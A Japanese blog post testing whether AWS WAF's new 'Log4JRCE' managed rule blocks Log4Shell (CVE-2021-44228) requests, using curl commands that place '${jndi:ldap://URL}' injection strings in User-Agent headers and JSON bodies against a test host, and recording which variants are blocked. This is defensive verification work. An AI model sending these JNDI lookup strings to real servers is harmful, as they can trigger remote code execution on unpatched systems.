必見の記事

Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました

AWS WAFのマネージドルールとして新たに追加された「Log4JRCE」、Log4j の脆弱性(CVE-2021-44228)の緩和に有効であるか試してみました。
2021.12.11

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

AWSチームのすずきです。

2021年12月11日、 AWS の Managed Ruleとして提供されている AWSManagedRulesKnownBadInputsRuleSetに新しい保護ルール「Log4JRCE」が追加されました。

Log4j の脆弱性(CVE-2021-44228)対策として、AWS WAFの有効性を確かめる機会がありましたので、紹介させていただきます。

AWS Managed Rule

Known bad inputs

新しいルール 「Log4JRCE」 が追加されました。

試してみた

WAF(ACLs)設定

AWSManagedRulesKnownBadInputsRuleSet のみ設定した WebACLを用意しました。

BadInputsRuleSetのバージョンはデフォルト、検証時点で最新の1.3を指定しました。

Log4JRCEのルールに該当したリクエストのみブロックする設定を行い、検証用のELB(ALB)に組み込みました。

検証

curl コマンドを利用、log4jの誤動作を引き起こすとされている文字列を含むリクエストの確認を試みました。

UserAgent

リクエストヘッダに含まれる UserAgent 文字列の書換を試みました。

  • ${jndi:ldap://URL} → ブロック (403)
$ curl https:/www.example.test  -H 'User-Agent: ${jndi:ldap://URL}' -o /dev/null -w '%{http_code}\n' -s
403
  • ${jndi → ブロック (403)
$ curl https:/www.example.test  -H 'User-Agent: ${jndi' -o /dev/null -w '%{http_code}\n' -s
403
  • ${jnd → 通過 (200)
$ curl https:/www.example.test  -H 'User-Agent: ${jnd' -o /dev/null -w '%{http_code}\n' -s
200

POST

POSTリクエストのボディに含まれる、JSONの値の書換を試みました。

  • ${jndi:ldap://URL} → ブロック (403)
curl https:/www.example.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jndi:ldap://URL}"}'
403
  • ${jnd → 通過 (200)
curl https:/www.example.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jnd"}'
200

※AWS WAF、リクエストボディの検査対象は8KBの制限が存在する点にご留意ください。

まとめ

AWS WAFのマネージドルールの詳細仕様は公開されていませんが、 KnownBadInputsRuleSet バージョン1.2以降で利用可能になった「Log4JRCE」ルールを利用し、 ヘッダ、ボディに log4jの誤動作原因となる文字列を含むリクエストを検出し、遮断(Block)も可能な事を確認できました。

全てのlog4jの全ての脆弱性をAWS WAFのみでカバーする事は非現実的ですが、リスクを緩和する一定の効果は期待できます。

脆弱性を含むアプリケーションの根本修正に時間を要す可能性が高い場合、暫定対策の一つとして AWS WAFと マネージドルール KnownBadInputsRuleSetを利用した保護をお試しください。

参考リンク